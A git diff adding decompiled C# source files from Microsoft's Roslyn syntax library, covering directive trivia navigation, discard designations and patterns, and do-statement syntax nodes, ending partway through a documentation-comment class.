b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DirectiveTriviaSyntax.cs new file mode 100644 index 0000000..f794b0a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DirectiveTriviaSyntax.cs @@ -0,0 +1,344 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class DirectiveTriviaSyntax : StructuredTriviaSyntax +{ + private static readonly Func s_hasDirectivesFunction = (SyntaxToken t) => ((SyntaxToken)(ref t)).ContainsDirectives; + + public SyntaxToken DirectiveNameToken => (SyntaxToken)(Kind() switch + { + SyntaxKind.IfDirectiveTrivia => ((IfDirectiveTriviaSyntax)this).IfKeyword, + SyntaxKind.ElifDirectiveTrivia => ((ElifDirectiveTriviaSyntax)this).ElifKeyword, + SyntaxKind.ElseDirectiveTrivia => ((ElseDirectiveTriviaSyntax)this).ElseKeyword, + SyntaxKind.EndIfDirectiveTrivia => ((EndIfDirectiveTriviaSyntax)this).EndIfKeyword, + SyntaxKind.RegionDirectiveTrivia => ((RegionDirectiveTriviaSyntax)this).RegionKeyword, + SyntaxKind.EndRegionDirectiveTrivia => ((EndRegionDirectiveTriviaSyntax)this).EndRegionKeyword, + SyntaxKind.ErrorDirectiveTrivia => ((ErrorDirectiveTriviaSyntax)this).ErrorKeyword, + SyntaxKind.WarningDirectiveTrivia => ((WarningDirectiveTriviaSyntax)this).WarningKeyword, + SyntaxKind.BadDirectiveTrivia => ((BadDirectiveTriviaSyntax)this).Identifier, + SyntaxKind.DefineDirectiveTrivia => ((DefineDirectiveTriviaSyntax)this).DefineKeyword, + SyntaxKind.UndefDirectiveTrivia => ((UndefDirectiveTriviaSyntax)this).UndefKeyword, + SyntaxKind.LineDirectiveTrivia => ((LineDirectiveTriviaSyntax)this).LineKeyword, + SyntaxKind.LineSpanDirectiveTrivia => ((LineSpanDirectiveTriviaSyntax)this).LineKeyword, + SyntaxKind.PragmaWarningDirectiveTrivia => ((PragmaWarningDirectiveTriviaSyntax)this).PragmaKeyword, + SyntaxKind.PragmaChecksumDirectiveTrivia => ((PragmaChecksumDirectiveTriviaSyntax)this).PragmaKeyword, + SyntaxKind.ReferenceDirectiveTrivia => ((ReferenceDirectiveTriviaSyntax)this).ReferenceKeyword, + SyntaxKind.LoadDirectiveTrivia => ((LoadDirectiveTriviaSyntax)this).LoadKeyword, + SyntaxKind.ShebangDirectiveTrivia => ((ShebangDirectiveTriviaSyntax)this).ExclamationToken, + SyntaxKind.NullableDirectiveTrivia => ((NullableDirectiveTriviaSyntax)this).NullableKeyword, + _ => throw ExceptionUtilities.UnexpectedValue((object)Kind()), + }); + + public abstract SyntaxToken HashToken { get; } + + public abstract SyntaxToken EndOfDirectiveToken { get; } + + public abstract bool IsActive { get; } + + public DirectiveTriviaSyntax? GetNextDirective(Func? predicate = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia parentTrivia = ((SyntaxNode)this).ParentTrivia; + SyntaxToken token = ((SyntaxTrivia)(ref parentTrivia)).Token; + bool flag = false; + while (token.Kind() != SyntaxKind.None) + { + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref token)).LeadingTrivia; + Enumerator enumerator = ((SyntaxTriviaList)(ref leadingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + if (!((SyntaxTrivia)(ref current)).IsDirective) + { + continue; + } + DirectiveTriviaSyntax directiveTriviaSyntax = (DirectiveTriviaSyntax)(object)((SyntaxTrivia)(ref current)).GetStructure(); + if (flag) + { + if (predicate == null || predicate(directiveTriviaSyntax)) + { + return directiveTriviaSyntax; + } + } + else if (((SyntaxTrivia)(ref current)).UnderlyingNode == ((SyntaxNode)this).Green && ((SyntaxTrivia)(ref current)).SpanStart == ((SyntaxNode)this).SpanStart && directiveTriviaSyntax == this) + { + flag = true; + } + } + token = ((SyntaxToken)(ref token)).GetNextToken(s_hasDirectivesFunction, (Func)null); + } + return null; + } + + public DirectiveTriviaSyntax? GetPreviousDirective(Func? predicate = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia parentTrivia = ((SyntaxNode)this).ParentTrivia; + SyntaxToken token = ((SyntaxTrivia)(ref parentTrivia)).Token; + bool flag = false; + while (token.Kind() != SyntaxKind.None) + { + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref token)).LeadingTrivia; + Reversed val = ((SyntaxTriviaList)(ref leadingTrivia)).Reverse(); + Enumerator enumerator = ((Reversed)(ref val)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + if (!((SyntaxTrivia)(ref current)).IsDirective) + { + continue; + } + DirectiveTriviaSyntax directiveTriviaSyntax = (DirectiveTriviaSyntax)(object)((SyntaxTrivia)(ref current)).GetStructure(); + if (flag) + { + if (predicate == null || predicate(directiveTriviaSyntax)) + { + return directiveTriviaSyntax; + } + } + else if (((SyntaxTrivia)(ref current)).UnderlyingNode == ((SyntaxNode)this).Green && ((SyntaxTrivia)(ref current)).SpanStart == ((SyntaxNode)this).SpanStart && directiveTriviaSyntax == this) + { + flag = true; + } + } + token = ((SyntaxToken)(ref token)).GetPreviousToken(s_hasDirectivesFunction, (Func)null); + } + return null; + } + + public List GetRelatedDirectives() + { + List list = new List(); + GetRelatedDirectives(list); + return list; + } + + private void GetRelatedDirectives(List list) + { + list.Clear(); + for (DirectiveTriviaSyntax previousRelatedDirective = GetPreviousRelatedDirective(); previousRelatedDirective != null; previousRelatedDirective = previousRelatedDirective.GetPreviousRelatedDirective()) + { + list.Add(previousRelatedDirective); + } + list.Reverse(); + list.Add(this); + for (DirectiveTriviaSyntax nextRelatedDirective = GetNextRelatedDirective(); nextRelatedDirective != null; nextRelatedDirective = nextRelatedDirective.GetNextRelatedDirective()) + { + list.Add(nextRelatedDirective); + } + } + + private DirectiveTriviaSyntax? GetNextRelatedDirective() + { + DirectiveTriviaSyntax directiveTriviaSyntax = this; + switch (directiveTriviaSyntax.Kind()) + { + case SyntaxKind.IfDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind - 8549 <= (SyntaxKind)2) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetNextPossiblyRelatedDirective(); + } + break; + case SyntaxKind.ElifDirectiveTrivia: + for (directiveTriviaSyntax = directiveTriviaSyntax.GetNextPossiblyRelatedDirective(); directiveTriviaSyntax != null; directiveTriviaSyntax = directiveTriviaSyntax.GetNextPossiblyRelatedDirective()) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind - 8549 <= (SyntaxKind)2) + { + return directiveTriviaSyntax; + } + } + break; + case SyntaxKind.ElseDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + if (directiveTriviaSyntax.Kind() == SyntaxKind.EndIfDirectiveTrivia) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetNextPossiblyRelatedDirective(); + } + break; + case SyntaxKind.RegionDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + if (directiveTriviaSyntax.Kind() == SyntaxKind.EndRegionDirectiveTrivia) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetNextPossiblyRelatedDirective(); + } + break; + } + return null; + } + + private DirectiveTriviaSyntax? GetNextPossiblyRelatedDirective() + { + DirectiveTriviaSyntax directiveTriviaSyntax = this; + while (directiveTriviaSyntax != null) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetNextDirective(); + if (directiveTriviaSyntax != null) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind == SyntaxKind.IfDirectiveTrivia) + { + while (directiveTriviaSyntax != null && directiveTriviaSyntax.Kind() != SyntaxKind.EndIfDirectiveTrivia) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetNextRelatedDirective(); + } + continue; + } + if (syntaxKind == SyntaxKind.RegionDirectiveTrivia) + { + while (directiveTriviaSyntax != null && directiveTriviaSyntax.Kind() != SyntaxKind.EndRegionDirectiveTrivia) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetNextRelatedDirective(); + } + continue; + } + } + return directiveTriviaSyntax; + } + return null; + } + + private DirectiveTriviaSyntax? GetPreviousRelatedDirective() + { + DirectiveTriviaSyntax directiveTriviaSyntax = this; + switch (directiveTriviaSyntax.Kind()) + { + case SyntaxKind.EndIfDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind - 8548 <= (SyntaxKind)2) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousPossiblyRelatedDirective(); + } + break; + case SyntaxKind.ElifDirectiveTrivia: + for (directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousPossiblyRelatedDirective(); directiveTriviaSyntax != null; directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousPossiblyRelatedDirective()) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind - 8548 <= SyntaxKind.List) + { + return directiveTriviaSyntax; + } + } + break; + case SyntaxKind.ElseDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind - 8548 <= SyntaxKind.List) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousPossiblyRelatedDirective(); + } + break; + case SyntaxKind.EndRegionDirectiveTrivia: + while (directiveTriviaSyntax != null) + { + if (directiveTriviaSyntax.Kind() == SyntaxKind.RegionDirectiveTrivia) + { + return directiveTriviaSyntax; + } + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousPossiblyRelatedDirective(); + } + break; + } + return null; + } + + private DirectiveTriviaSyntax? GetPreviousPossiblyRelatedDirective() + { + DirectiveTriviaSyntax directiveTriviaSyntax = this; + while (directiveTriviaSyntax != null) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousDirective(); + if (directiveTriviaSyntax != null) + { + SyntaxKind syntaxKind = directiveTriviaSyntax.Kind(); + if (syntaxKind == SyntaxKind.EndIfDirectiveTrivia) + { + while (directiveTriviaSyntax != null && directiveTriviaSyntax.Kind() != SyntaxKind.IfDirectiveTrivia) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousRelatedDirective(); + } + continue; + } + if (syntaxKind == SyntaxKind.EndRegionDirectiveTrivia) + { + while (directiveTriviaSyntax != null && directiveTriviaSyntax.Kind() != SyntaxKind.RegionDirectiveTrivia) + { + directiveTriviaSyntax = directiveTriviaSyntax.GetPreviousRelatedDirective(); + } + continue; + } + } + return directiveTriviaSyntax; + } + return null; + } + + internal DirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public DirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashTokenCore(hashToken); + } + + internal abstract DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken); + + public DirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveTokenCore(endOfDirectiveToken); + } + + internal abstract DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardDesignationSyntax.cs new file mode 100644 index 0000000..d0df6af --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardDesignationSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DiscardDesignationSyntax : VariableDesignationSyntax +{ + public SyntaxToken UnderscoreToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DiscardDesignationSyntax)(object)((SyntaxNode)this).Green).underscoreToken, ((SyntaxNode)this).Position, 0); + + internal DiscardDesignationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDiscardDesignation(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDiscardDesignation(this); + } + + public DiscardDesignationSyntax Update(SyntaxToken underscoreToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (underscoreToken != UnderscoreToken) + { + DiscardDesignationSyntax discardDesignationSyntax = SyntaxFactory.DiscardDesignation(underscoreToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return discardDesignationSyntax; + } + return discardDesignationSyntax.WithAnnotations(annotations); + } + return this; + } + + public DiscardDesignationSyntax WithUnderscoreToken(SyntaxToken underscoreToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(underscoreToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardPatternSyntax.cs new file mode 100644 index 0000000..83fec5d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DiscardPatternSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DiscardPatternSyntax : PatternSyntax +{ + public SyntaxToken UnderscoreToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DiscardPatternSyntax)(object)((SyntaxNode)this).Green).underscoreToken, ((SyntaxNode)this).Position, 0); + + internal DiscardPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDiscardPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDiscardPattern(this); + } + + public DiscardPatternSyntax Update(SyntaxToken underscoreToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (underscoreToken != UnderscoreToken) + { + DiscardPatternSyntax discardPatternSyntax = SyntaxFactory.DiscardPattern(underscoreToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return discardPatternSyntax; + } + return discardPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public DiscardPatternSyntax WithUnderscoreToken(SyntaxToken underscoreToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(underscoreToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DoStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DoStatementSyntax.cs new file mode 100644 index 0000000..bfd147c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DoStatementSyntax.cs @@ -0,0 +1,217 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DoStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private StatementSyntax? statement; + + private ExpressionSyntax? condition; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken DoKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DoStatementSyntax)(object)((SyntaxNode)this).Green).doKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 2); + + public SyntaxToken WhileKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DoStatementSyntax)(object)((SyntaxNode)this).Green).whileKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DoStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 5); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DoStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DoStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public DoStatementSyntax Update(SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken); + } + + internal DoStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref statement, 2), + 5 => ((SyntaxNode)this).GetRed(ref condition, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => statement, + 5 => condition, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDoStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDoStatement(this); + } + + public DoStatementSyntax Update(SyntaxList attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || doKeyword != DoKeyword || statement != Statement || whileKeyword != WhileKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || semicolonToken != SemicolonToken) + { + DoStatementSyntax doStatementSyntax = SyntaxFactory.DoStatement(attributeLists, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return doStatementSyntax; + } + return doStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new DoStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, DoKeyword, Statement, WhileKeyword, OpenParenToken, Condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithDoKeyword(SyntaxToken doKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, doKeyword, Statement, WhileKeyword, OpenParenToken, Condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, statement, WhileKeyword, OpenParenToken, Condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithWhileKeyword(SyntaxToken whileKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, Statement, whileKeyword, OpenParenToken, Condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, Statement, WhileKeyword, openParenToken, Condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, Statement, WhileKeyword, OpenParenToken, condition, CloseParenToken, SemicolonToken); + } + + public DoStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, Statement, WhileKeyword, OpenParenToken, Condition, closeParenToken, SemicolonToken); + } + + public DoStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, DoKeyword, Statement, WhileKeyword, OpenParenToken, Condition, CloseParenToken, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new DoStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DocumentationCommentTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DocumentationCommentTriviaSyntax.cs new file mode 100644 index 0000000..3f5aba3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DocumentationCommentTriviaSyntax.cs @@ -0,0 +1,89 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DocumentationCommentTriviaSyntax : StructuredTriviaSyntax +{ + private SyntaxNode? content; + + public SyntaxList Content => new SyntaxList(((SyntaxNode)this).GetRed(ref content, 0)); + + public SyntaxToken EndOfComment => new SyntaxToken((SyntaxNode)(object)this, 